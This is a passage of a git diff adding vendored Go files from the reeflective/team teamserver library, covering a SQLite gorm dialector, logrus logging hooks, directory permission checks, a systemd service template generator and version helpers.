m.RunWithValue(value, func(stmt *gorm.Statement) error { + table := stmt.Table + if tablePtr != nil { + table = *tablePtr + } + + rawDDL, err := m.getRawDDL(table) + if err != nil { + return err + } + + newTableName := table + "__temp" + + createSQL, sqlArgs, err := getCreateSQL(rawDDL, stmt) + if err != nil { + return err + } + if createSQL == "" { + return nil + } + + tableReg, err := regexp.Compile(" ('|`|\"| )" + table + "('|`|\"| ) ") + if err != nil { + return err + } + createSQL = tableReg.ReplaceAllString(createSQL, fmt.Sprintf(" `%v` ", newTableName)) + + createDDL, err := parseDDL(createSQL) + if err != nil { + return err + } + columns := createDDL.getColumns() + + return m.DB.Transaction(func(tx *gorm.DB) error { + if err := tx.Exec(createSQL, sqlArgs...).Error; err != nil { + return err + } + + queries := []string{ + fmt.Sprintf("INSERT INTO `%v`(%v) SELECT %v FROM `%v`", newTableName, strings.Join(columns, ","), strings.Join(columns, ","), table), + fmt.Sprintf("DROP TABLE `%v`", table), + fmt.Sprintf("ALTER TABLE `%v` RENAME TO `%v`", newTableName, table), + } + for _, query := range queries { + if err := tx.Exec(query).Error; err != nil { + return err + } + } + return nil + }) + }) +} diff --git a/vendor/github.com/reeflective/team/internal/db/wasmsqlite/sqlite.go b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/sqlite.go new file mode 100644 index 0000000000..2368ce791a --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/sqlite.go @@ -0,0 +1,224 @@ +package wasmsqlite + +import ( + "context" + "database/sql" + "strconv" + "strings" + + "gorm.io/gorm/callbacks" + + _ "github.com/ncruces/go-sqlite3" + _ "github.com/ncruces/go-sqlite3/driver" + _ "github.com/ncruces/go-sqlite3/embed" + + "gorm.io/gorm" + "gorm.io/gorm/clause" + "gorm.io/gorm/logger" + "gorm.io/gorm/migrator" + "gorm.io/gorm/schema" +) + +// DriverName is the default driver name for SQLite. +const DriverName = "sqlite3" + +type Dialector struct { + DriverName string + DSN string + Conn gorm.ConnPool +} + +func Open(dsn string) gorm.Dialector { + return &Dialector{DSN: dsn} +} + +func (dialector Dialector) Name() string { + return "sqlite" +} + +func (dialector Dialector) Initialize(db *gorm.DB) (err error) { + if dialector.DriverName == "" { + dialector.DriverName = DriverName + } + + if dialector.Conn != nil { + db.ConnPool = dialector.Conn + } else { + conn, err := sql.Open(dialector.DriverName, dialector.DSN) + if err != nil { + return err + } + db.ConnPool = conn + } + + var version string + if err := db.ConnPool.QueryRowContext(context.Background(), "select sqlite_version()").Scan(&version); err != nil { + return err + } + // https://www.sqlite.org/releaselog/3_35_0.html + if compareVersion(version, "3.35.0") >= 0 { + callbacks.RegisterDefaultCallbacks(db, &callbacks.Config{ + CreateClauses: []string{"INSERT", "VALUES", "ON CONFLICT", "RETURNING"}, + UpdateClauses: []string{"UPDATE", "SET", "WHERE", "RETURNING"}, + DeleteClauses: []string{"DELETE", "FROM", "WHERE", "RETURNING"}, + LastInsertIDReversed: true, + }) + } else { + callbacks.RegisterDefaultCallbacks(db, &callbacks.Config{ + LastInsertIDReversed: true, + }) + } + + for k, v := range dialector.ClauseBuilders() { + db.ClauseBuilders[k] = v + } + return +} + +func (dialector Dialector) ClauseBuilders() map[string]clause.ClauseBuilder { + return map[string]clause.ClauseBuilder{ + "INSERT": func(c clause.Clause, builder clause.Builder) { + if insert, ok := c.Expression.(clause.Insert); ok { + if stmt, ok := builder.(*gorm.Statement); ok { + stmt.WriteString("INSERT ") + if insert.Modifier != "" { + stmt.WriteString(insert.Modifier) + stmt.WriteByte(' ') + } + + stmt.WriteString("INTO ") + if insert.Table.Name == "" { + stmt.WriteQuoted(stmt.Table) + } else { + stmt.WriteQuoted(insert.Table) + } + return + } + } + + c.Build(builder) + }, + "LIMIT": func(c clause.Clause, builder clause.Builder) { + if limit, ok := c.Expression.(clause.Limit); ok { + var lmt = -1 + if limit.Limit != nil && *limit.Limit >= 0 { + lmt = *limit.Limit + } + if lmt >= 0 || limit.Offset > 0 { + builder.WriteString("LIMIT ") + builder.WriteString(strconv.Itoa(lmt)) + } + if limit.Offset > 0 { + builder.WriteString(" OFFSET ") + builder.WriteString(strconv.Itoa(limit.Offset)) + } + } + }, + "FOR": func(c clause.Clause, builder clause.Builder) { + if _, ok := c.Expression.(clause.Locking); ok { + // SQLite3 does not support row-level locking. + return + } + c.Build(builder) + }, + } +} + +func (dialector Dialector) DefaultValueOf(field *schema.Field) clause.Expression { + if field.AutoIncrement { + return clause.Expr{SQL: "NULL"} + } + + // doesn't work, will raise error + return clause.Expr{SQL: "DEFAULT"} +} + +func (dialector Dialector) Migrator(db *gorm.DB) gorm.Migrator { + return Migrator{migrator.Migrator{Config: migrator.Config{ + DB: db, + Dialector: dialector, + CreateIndexAfterCreateTable: true, + }}} +} + +func (dialector Dialector) BindVarTo(writer clause.Writer, stmt *gorm.Statement, v interface{}) { + writer.WriteByte('?') +} + +func (dialector Dialector) QuoteTo(writer clause.Writer, str string) { + writer.WriteByte('`') + if strings.Contains(str, ".") { + for idx, str := range strings.Split(str, ".") { + if idx > 0 { + writer.WriteString(".`") + } + writer.WriteString(str) + writer.WriteByte('`') + } + } else { + writer.WriteString(str) + writer.WriteByte('`') + } +} + +func (dialector Dialector) Explain(sql string, vars ...interface{}) string { + return logger.ExplainSQL(sql, nil, `"`, vars...) +} + +func (dialector Dialector) DataTypeOf(field *schema.Field) string { + switch field.DataType { + case schema.Bool: + return "numeric" + case schema.Int, schema.Uint: + if field.AutoIncrement && !field.PrimaryKey { + // https://www.sqlite.org/autoinc.html + return "integer PRIMARY KEY AUTOINCREMENT" + } else { + return "integer" + } + case schema.Float: + return "real" + case schema.String: + return "text" + case schema.Time: + return "datetime" + case schema.Bytes: + return "blob" + } + + return string(field.DataType) +} + +func (dialectopr Dialector) SavePoint(tx *gorm.DB, name string) error { + tx.Exec("SAVEPOINT " + name) + return nil +} + +func (dialectopr Dialector) RollbackTo(tx *gorm.DB, name string) error { + tx.Exec("ROLLBACK TO SAVEPOINT " + name) + return nil +} + +func compareVersion(version1, version2 string) int { + n, m := len(version1), len(version2) + i, j := 0, 0 + for i < n || j < m { + x := 0 + for ; i < n && version1[i] != '.'; i++ { + x = x*10 + int(version1[i]-'0') + } + i++ + y := 0 + for ; j < m && version2[j] != '.'; j++ { + y = y*10 + int(version2[j]-'0') + } + j++ + if x > y { + return 1 + } + if x < y { + return -1 + } + } + return 0 +} diff --git a/vendor/github.com/reeflective/team/internal/log/cli.go b/vendor/github.com/reeflective/team/internal/log/cli.go new file mode 100644 index 0000000000..5c6963fe4d --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/log/cli.go @@ -0,0 +1,302 @@ +package log + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "errors" + "fmt" + "os" + "strings" + + "github.com/rsteube/carapace/pkg/style" + "github.com/sirupsen/logrus" +) + +// Text effects. +const ( + sgrStart = "\x1b[" + fg = "38;05;" + bg = "48;05;" + sgrEnd = "m" +) + +const ( + fieldTimestamp = "timestamp" + fieldPackage = "logger" + fieldMessage = "message" + + minimumPackagePad = 11 +) + +// PackageFieldKey is used to identify the name of the package +// specified by teamclients and teamservers named loggers. +const PackageFieldKey = "teamserver_pkg" + +// stdioHook combines a stdout hook (info/debug/trace), +// and a stderr hook (warn/error/fatal/panic). +type stdioHook struct { + logger *logrus.Logger +} + +func newStdioHook() *stdioHook { + hook := &stdioHook{ + logger: NewStdio(logrus.WarnLevel), + } + + return hook +} + +// The stdout hooks only outputs info, debug and trace. +func (hook *stdioHook) Levels() []logrus.Level { + return logrus.AllLevels +} + +// Fire - Implements the fire method of the Logrus hook. +func (hook *stdioHook) Fire(entry *logrus.Entry) error { + switch entry.Level { + case logrus.PanicLevel: + hook.logger.Panic(entry.Message) + case logrus.FatalLevel: + hook.logger.Fatal(entry.Message) + case logrus.ErrorLevel: + hook.logger.Error(entry.Message) + case logrus.WarnLevel: + hook.logger.Warn(entry.Message) + case logrus.InfoLevel: + hook.logger.Info(entry.Message) + case logrus.DebugLevel: + hook.logger.Debug(entry.Message) + case logrus.TraceLevel: + hook.logger.Trace(entry.Message) + } + + return nil +} + +func newLoggerStdout() *stdoutHook { + stdLogger := logrus.New() + stdLogger.SetReportCaller(true) + stdLogger.Out = os.Stdout + + stdLogger.Formatter = &stdoutHook{ + DisableColors: false, + ShowTimestamp: false, + Colors: defaultFieldsFormat(), + } + + hook := &stdoutHook{ + logger: stdLogger, + } + + return hook +} + +// stderrHook only logs info events and less. +type stdoutHook struct { + DisableColors bool + ShowTimestamp bool + TimestampFormat string + Colors map[string]string + logger *logrus.Logger +} + +// The stdout hooks only outputs info, debug and trace. +func (hook *stdoutHook) Levels() []logrus.Level { + return []logrus.Level{ + logrus.InfoLevel, + logrus.DebugLevel, + logrus.TraceLevel, + } +} + +// Fire - Implements the fire method of the Logrus hook. +func (hook *stdoutHook) Fire(entry *logrus.Entry) error { + switch entry.Level { + case logrus.PanicLevel: + hook.logger.Panic(entry.Message) + case logrus.FatalLevel: + hook.logger.Fatal(entry.Message) + case logrus.ErrorLevel: + hook.logger.Error(entry.Message) + case logrus.WarnLevel: + hook.logger.Warn(entry.Message) + case logrus.InfoLevel: + hook.logger.Info(entry.Message) + case logrus.DebugLevel: + hook.logger.Debug(entry.Message) + case logrus.TraceLevel: + hook.logger.Trace(entry.Message) + } + + return nil +} + +// Format is a custom formatter for all stdout/text logs, with better format and coloring. +func (hook *stdoutHook) Format(entry *logrus.Entry) ([]byte, error) { + // Basic information. + sign, signColor := hook.getLevelFieldColor(entry.Level) + levelLog := fmt.Sprintf("%s%s%s", color(signColor), sign, color(style.Default)) + + timestamp := entry.Time.Format(hook.TimestampFormat) + timestampLog := fmt.Sprintf("%s%s%s", color(hook.Colors[fieldTimestamp]), timestamp, color(style.Default)) + + var pkgLogF string + + pkg := entry.Data[PackageFieldKey] + if pkg != nil { + pkgLog := fmt.Sprintf(" %v ", pkg) + pkgLog = fmt.Sprintf("%-*s", minimumPackagePad, pkgLog) + pkgLogF = strings.ReplaceAll(pkgLog, fmt.Sprintf("%s", pkg), fmt.Sprintf("%s%s%s", color(hook.Colors[fieldPackage]), pkg, color(style.Default))) + } + + // Always try to unwrap the error at least once, and colorize it. + message := entry.Message + if err := errors.Unwrap(errors.New(message)); err != nil { + if err.Error() != message { + message = color(style.Red) + message + color(style.Of(style.Default, style.White)) + err.Error() + color(style.Default) + } + } + + messageLog := fmt.Sprintf("%s%s%s", color(hook.Colors[fieldMessage]), message, color(style.Default)) + + // Assemble the log message + var logMessage string + + if hook.ShowTimestamp { + logMessage += timestampLog + " " + } + + logMessage += pkgLogF + " " + logMessage += levelLog + " " + logMessage += messageLog + "\n" + + return []byte(logMessage), nil +} + +func (hook *stdoutHook) getLevelFieldColor(level logrus.Level) (string, string) { + // Builtin configurations. + signs := defaultLevelFields() + colors := defaultLevelFieldsColored() + + if sign, ok := signs[level]; ok { + if color, ok := colors[sign]; ok { + return sign, color + } + + return sign, style.Default + } + + return signs[logrus.InfoLevel], style.Default +} + +// stderrHook only logs warning events and worst. +type stderrHook struct { + DisableColors bool + ShowTimestamp bool + TimestampFormat string + Colors map[string]string + logger *logrus.Logger +} + +func newLoggerStderr() *stderrHook { + stdLogger := logrus.New() + stdLogger.SetLevel(logrus.WarnLevel) + stdLogger.SetReportCaller(true) + stdLogger.Out = os.Stderr + + stdLogger.Formatter = &stdoutHook{ + DisableColors: false, + ShowTimestamp: false, + Colors: defaultFieldsFormat(), + } + + hook := &stderrHook{ + logger: stdLogger, + } + + return hook +} + +// Fire - Implements the fire method of the Logrus hook. +func (hook *stderrHook) Fire(entry *logrus.Entry) error { + switch entry.Level { + case logrus.PanicLevel: + hook.logger.Panic(entry.Message) + case logrus.FatalLevel: + hook.logger.Fatal(entry.Message) + case logrus.ErrorLevel: + hook.logger.Error(entry.Message) + case logrus.WarnLevel: + hook.logger.Warn(entry.Message) + case logrus.InfoLevel: + hook.logger.Info(entry.Message) + case logrus.DebugLevel: + hook.logger.Debug(entry.Message) + case logrus.TraceLevel: + hook.logger.Trace(entry.Message) + } + + return nil +} + +// The stderr hooks only outputs errors and worst. +func (hook *stderrHook) Levels() []logrus.Level { + return []logrus.Level{ + logrus.WarnLevel, + logrus.ErrorLevel, + logrus.FatalLevel, + logrus.PanicLevel, + } +} + +func defaultFieldsFormat() map[string]string { + return map[string]string{ + fieldTimestamp: style.BrightBlack, + fieldPackage: style.Dim, + fieldMessage: style.BrightWhite, + } +} + +func defaultLevelFields() map[logrus.Level]string { + return map[logrus.Level]string{ + logrus.TraceLevel: "▪", + logrus.DebugLevel: "▫", + logrus.InfoLevel: "○", + logrus.WarnLevel: "▲", + logrus.ErrorLevel: "✖", + logrus.FatalLevel: "☠", + logrus.PanicLevel: "!!", + } +} + +func defaultLevelFieldsColored() map[string]string { + return map[string]string{ + "▪": style.BrightBlack, + "▫": style.Dim, + "○": style.BrightBlue, + "▲": style.Yellow, + "✖": style.BrightRed, + "☠": style.BgBrightCyan, + "!!": style.BgBrightMagenta, + } +} + +func color(color string) string { + return sgrStart + style.SGR(color) + sgrEnd +} diff --git a/vendor/github.com/reeflective/team/internal/log/db.go b/vendor/github.com/reeflective/team/internal/log/db.go new file mode 100644 index 0000000000..3b43e1a4ec --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/log/db.go @@ -0,0 +1,63 @@ +package log + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "strings" + "time" + + "github.com/sirupsen/logrus" + "gorm.io/gorm/logger" +) + +// gorm middleware for database queries/results logging. +type gormWriter struct { + log *logrus.Entry +} + +func (w gormWriter) Printf(format string, args ...interface{}) { + w.log.Printf(format, args...) +} + +// NewDatabase returns a logger suitable as logrus database logging middleware. +func NewDatabase(log *logrus.Entry, level string) logger.Interface { + logConfig := logger.Config{ + SlowThreshold: time.Second, + Colorful: true, + LogLevel: logger.Info, + } + switch strings.ToLower(level) { + case "silent": + logConfig.LogLevel = logger.Silent + case "err": + fallthrough + case "error": + logConfig.LogLevel = logger.Error + case "warning": + fallthrough + case "warn": + logConfig.LogLevel = logger.Warn + case "info": + fallthrough + default: + logConfig.LogLevel = logger.Info + } + + return logger.New(gormWriter{log: log}, logConfig) +} diff --git a/vendor/github.com/reeflective/team/internal/log/log.go b/vendor/github.com/reeflective/team/internal/log/log.go new file mode 100644 index 0000000000..b31cccf587 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/log/log.go @@ -0,0 +1,176 @@ +package log + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "io" + "path/filepath" + + "github.com/reeflective/team/internal/assets" + "github.com/sirupsen/logrus" +) + +const ( + // ClientLogFileExt is used as extension by all main teamclients log files by default. + ClientLogFileExt = "teamclient.log" + // ServerLogFileExt is used as extension by all teamservers core log files by default. + ServerLogFileExt = "teamserver.log" +) + +// Init is the main constructor that is (and should be) used for teamserver and teamclient logging. +// It hooks a normal logger with a sublogger writing to a file in text version, and another logger +// writing to stdout/stderr with enhanced formatting/coloring support. +func Init(fs *assets.FS, file string, level logrus.Level) (*logrus.Logger, *logrus.Logger, error) { + logFile, err := fs.OpenFile(file, assets.FileWriteOpenMode, assets.FileWritePerm) + if err != nil { + return nil, nil, fmt.Errorf("Failed to open log file %w", err) + } + + // Text-format logger, writing to file. + textLogger := logrus.New() + textLogger.Formatter = &stdoutHook{ + DisableColors: false, + ShowTimestamp: false, + Colors: defaultFieldsFormat(), + } + textLogger.Out = io.Discard + + textLogger.SetLevel(logrus.InfoLevel) + textLogger.SetReportCaller(true) + + // File output + textLogger.AddHook(newTxtHook(logFile, level, textLogger)) + + // Stdout/err output, with special formatting. + stdioHook := newStdioHook() + textLogger.AddHook(stdioHook) + + return textLogger, stdioHook.logger, nil +} + +// NewStdio returns a logger configured to output its events to the system stdio: +// - Info/Debug/Trace logs are written to os.Stdout. +// - Warn/Error/Fatal/Panic are written to os.Stderr. +func NewStdio(level logrus.Level) *logrus.Logger { + stdLogger := logrus.New() + stdLogger.Formatter = &stdoutHook{ + DisableColors: false, + ShowTimestamp: false, + Colors: defaultFieldsFormat(), + } + + stdLogger.SetLevel(level) + stdLogger.SetReportCaller(true) + stdLogger.Out = io.Discard + + // Info/debug/trace is given to a stdout logger. + stdoutHook := newLoggerStdout() + stdLogger.AddHook(stdoutHook) + + // Warn/error/panics/fatals are given to stderr. + stderrHook := newLoggerStderr() + stdLogger.AddHook(stderrHook) + + return stdLogger +} + +// NewJSON returns a logger writing to the central log file of the teamserver, JSON-encoded. +func NewJSON(fs *assets.FS, file string, level logrus.Level) (*logrus.Logger, error) { + rootLogger := logrus.New() + rootLogger.Formatter = &logrus.JSONFormatter{} + jsonFilePath := fmt.Sprintf("%s.json", file) + + logFile, err := fs.OpenFile(jsonFilePath, assets.FileWriteOpenMode, assets.FileWritePerm) + if err != nil { + return nil, fmt.Errorf("Failed to open log file %w", err) + } + + rootLogger.Out = logFile + rootLogger.SetLevel(logrus.InfoLevel) + rootLogger.SetReportCaller(true) + rootLogger.AddHook(newTxtHook(logFile, level, rootLogger)) + + return rootLogger, nil +} + +// NewAudit returns a logger writing to an audit file in JSON format. +func NewAudit(fs *assets.FS, logDir string) (*logrus.Logger, error) { + auditLogger := logrus.New() + auditLogger.Formatter = &logrus.JSONFormatter{} + jsonFilePath := filepath.Join(logDir, "audit.json") + + logFile, err := fs.OpenFile(jsonFilePath, assets.FileWriteOpenMode, assets.FileWritePerm) + if err != nil { + return nil, fmt.Errorf("Failed to open log file %w", err) + } + + auditLogger.Out = logFile + auditLogger.SetLevel(logrus.DebugLevel) + + return auditLogger, nil +} + +// NewText returns a new logger writing to a given file. +// The formatting is enhanced for informative debugging and call +// stack reporting, but without any special coloring/formatting. +func NewText(file io.Writer) (*logrus.Logger, error) { + txtLogger := logrus.New() + txtLogger.Formatter = &logrus.TextFormatter{ + ForceColors: true, + FullTimestamp: true, + } + + txtLogger.Out = file + txtLogger.SetLevel(logrus.InfoLevel) + + return txtLogger, nil +} + +// LevelFrom - returns level from int. +func LevelFrom(level int) logrus.Level { + switch level { + case int(logrus.PanicLevel): + return logrus.PanicLevel + case int(logrus.FatalLevel): + return logrus.FatalLevel + case int(logrus.ErrorLevel): + return logrus.ErrorLevel + case int(logrus.WarnLevel): + return logrus.WarnLevel + case int(logrus.InfoLevel): + return logrus.InfoLevel + case int(logrus.DebugLevel): + return logrus.DebugLevel + case int(logrus.TraceLevel): + return logrus.TraceLevel + } + + return logrus.DebugLevel +} + +// FileName take a filename without extension and adds +// the corresponding teamserver/teamclient logfile extension. +func FileName(name string, server bool) string { + if server { + return fmt.Sprintf("%s.%s", name, ServerLogFileExt) + } + + return fmt.Sprintf("%s.%s", name, ClientLogFileExt) +} diff --git a/vendor/github.com/reeflective/team/internal/log/perms.go b/vendor/github.com/reeflective/team/internal/log/perms.go new file mode 100644 index 0000000000..2eea129c26 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/log/perms.go @@ -0,0 +1,60 @@ +//go:build !windows +// +build !windows + +package log + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "os" + "syscall" +) + +// IsWritable checks that the given path can be created. +func IsWritable(path string) (isWritable bool, err error) { + isWritable = false + info, err := os.Stat(path) + if err != nil { + return + } + + if !info.IsDir() { + return false, fmt.Errorf("Path isn't a directory") + } + + // Check if the user bit is enabled in file permission + if info.Mode().Perm()&(1<<(uint(7))) == 0 { + return false, fmt.Errorf("Write permission bit is not set on this file for user") + } + + var stat syscall.Stat_t + if err = syscall.Stat(path, &stat); err != nil { + return false, fmt.Errorf("Unable to get stat") + } + + err = nil + if uint32(os.Geteuid()) != stat.Uid { + return isWritable, fmt.Errorf("User doesn't have permission to write to this directory") + } + + isWritable = true + + return +} diff --git a/vendor/github.com/reeflective/team/internal/log/perms_windows.go b/vendor/github.com/reeflective/team/internal/log/perms_windows.go new file mode 100644 index 0000000000..1ccb9bd5cf --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/log/perms_windows.go @@ -0,0 +1,46 @@ +package log + +/* + team - Embeded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "os" +) + +// IsWritable checks that the given path can be created, on Windows. +func IsWritable(path string) (isWritable bool, err error) { + isWritable = false + info, err := os.Stat(path) + if err != nil { + return false, err + } + + err = nil + if !info.IsDir() { + return false, fmt.Errorf("Path isn't a directory") + } + + // Check if the user bit is enabled in file permission + if info.Mode().Perm()&(1<<(uint(7))) == 0 { + return false, fmt.Errorf("Write permission bit is not set on this file for user") + } + + isWritable = true + return +} diff --git a/vendor/github.com/reeflective/team/internal/log/text.go b/vendor/github.com/reeflective/team/internal/log/text.go new file mode 100644 index 0000000000..e4a81ce801 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/log/text.go @@ -0,0 +1,97 @@ +package log + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "errors" + "io" + "path/filepath" + "strings" + + "github.com/sirupsen/logrus" +) + +// txtHook - Hook in a textual version of the logs. +type txtHook struct { + Name string + app string + logger *logrus.Logger +} + +// newTxtHook - returns a new txt hook. +func newTxtHook(fs io.Writer, level logrus.Level, log *logrus.Logger) *txtHook { + hook := &txtHook{} + + logger, err := NewText(fs) + if err != nil { + log.Error(err) + } + + hook.logger = logger + hook.logger.SetLevel(level) + + return hook +} + +// Fire - Implements the fire method of the Logrus hook. +func (hook *txtHook) Fire(entry *logrus.Entry) error { + if hook.logger == nil { + return errors.New("no txt logger") + } + + // Determine the caller (filename/line number) + srcFile := "" + if entry.HasCaller() { + wiregostIndex := strings.Index(entry.Caller.File, hook.app) + srcFile = entry.Caller.File + if wiregostIndex != -1 { + srcFile = srcFile[wiregostIndex:] + } + } + + // Tream the useless prefix path, containing where it was compiled on the host... + paths := strings.Split(srcFile, "/mod/") + if len(paths) > 1 && paths[1] != "" { + srcFile = filepath.Join(paths[1:]...) + } + + switch entry.Level { + case logrus.PanicLevel: + hook.logger.Panicf(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message) + case logrus.FatalLevel: + hook.logger.Fatalf(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message) + case logrus.ErrorLevel: + hook.logger.Errorf(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message) + case logrus.WarnLevel: + hook.logger.Warnf(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message) + case logrus.InfoLevel: + hook.logger.Infof(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message) + case logrus.DebugLevel: + hook.logger.Debugf(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message) + case logrus.TraceLevel: + hook.logger.Tracef(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message) + } + + return nil +} + +// Levels - Hook all levels. +func (hook *txtHook) Levels() []logrus.Level { + return logrus.AllLevels +} diff --git a/vendor/github.com/reeflective/team/internal/systemd/config.go b/vendor/github.com/reeflective/team/internal/systemd/config.go new file mode 100644 index 0000000000..585f6e3270 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/systemd/config.go @@ -0,0 +1,112 @@ +package systemd + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "bytes" + // Embed our example teamserver.service file. + _ "embed" + "fmt" + "log" + "os" + "os/user" + "strings" + "text/template" + + "github.com/reeflective/team/internal/version" +) + +// Config is a stub to generate systemd configuration files. +type Config struct { + User string // User to configure systemd for, default is current user. + Binpath string // Path to binary + Args []string // The command is the position of the daemon command in the application command tree. +} + +//go:embed teamserver.service +var systemdServiceTemplate string + +// NewFrom returns a new templated systemd configuration file. +func NewFrom(name string, userCfg *Config) string { + cfg := NewDefaultConfig() + + if userCfg != nil { + cfg.User = userCfg.User + cfg.Binpath = userCfg.Binpath + cfg.Args = userCfg.Args + } + + // Prepare all values before running templates + ver := version.Semantic() + version := fmt.Sprintf("%d.%d.%d", ver[0], ver[1], ver[2]) + desc := fmt.Sprintf("%s Teamserver daemon (v%s)", name, version) + + systemdUser := cfg.User + if systemdUser == "" { + systemdUser = "root" + } + + // Command + command := strings.Join(cfg.Args, " ") + + TemplateValues := struct { + Application string + Description string + User string + Command string + }{ + Application: name, + Description: desc, + User: systemdUser, + Command: command, + } + + var config bytes.Buffer + + templ := template.New(name) + parsed, err := templ.Parse(systemdServiceTemplate) + if err != nil { + log.Fatalf("Failed to parse: %s", err) + } + + parsed.Execute(&config, TemplateValues) + + systemdFile := config.String() + + return systemdFile +} + +// NewDefaultConfig returns a default Systemd service file configuration. +func NewDefaultConfig() *Config { + c := &Config{} + + user, _ := user.Current() + if user != nil { + c.User = user.Username + } + + currentPath, err := os.Executable() + if err != nil { + return c + } + + c.Binpath = currentPath + + return c +} diff --git a/vendor/github.com/reeflective/team/internal/systemd/teamserver.service b/vendor/github.com/reeflective/team/internal/systemd/teamserver.service new file mode 100644 index 0000000000..eecc056312 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/systemd/teamserver.service @@ -0,0 +1,17 @@ +## [ {{.Application}} Systemd Service ] + +[Unit] +Description={{.Description}} +After=network.target +StartLimitIntervalSec=0 + +[Service] +Type=simple +Restart=on-failure +RestartSec=3 +User={{.User}} +ExecStart={{.Command}} + +[Install] +WantedBy=multi-user.target + diff --git a/vendor/github.com/reeflective/team/internal/version/version.go b/vendor/github.com/reeflective/team/internal/version/version.go new file mode 100644 index 0000000000..a6a83ae3c3 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/version/version.go @@ -0,0 +1,111 @@ +package version + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "errors" + "runtime/debug" + "strconv" + "strings" + "time" +) + +const ( + semVerLen = 3 +) + +// ErrNoBuildInfo is an error indicating that we could not fetch any binary build info. +var ErrNoBuildInfo = errors.New("No binary build info") + +// Semantic - Get the structured semantic +// version of the application binary. +func Semantic() []int { + semVer := make([]int, semVerLen) + + info, ok := debug.ReadBuildInfo() + if !ok { + return semVer + } + + version := info.Main.Version + + for i, part := range strings.Split(version, ".") { + number, _ := strconv.ParseInt(part, 10, 32) + semVer[i] = int(number) + } + + return semVer +} + +// Compiled - Get time this binary was compiled. +func Compiled() (time.Time, error) { + info, ok := debug.ReadBuildInfo() + if !ok { + return time.Unix(0, 0), ErrNoBuildInfo + } + + var compiledAt string + + for _, set := range info.Settings { + if set.Key == "vcs.time" { + compiledAt = 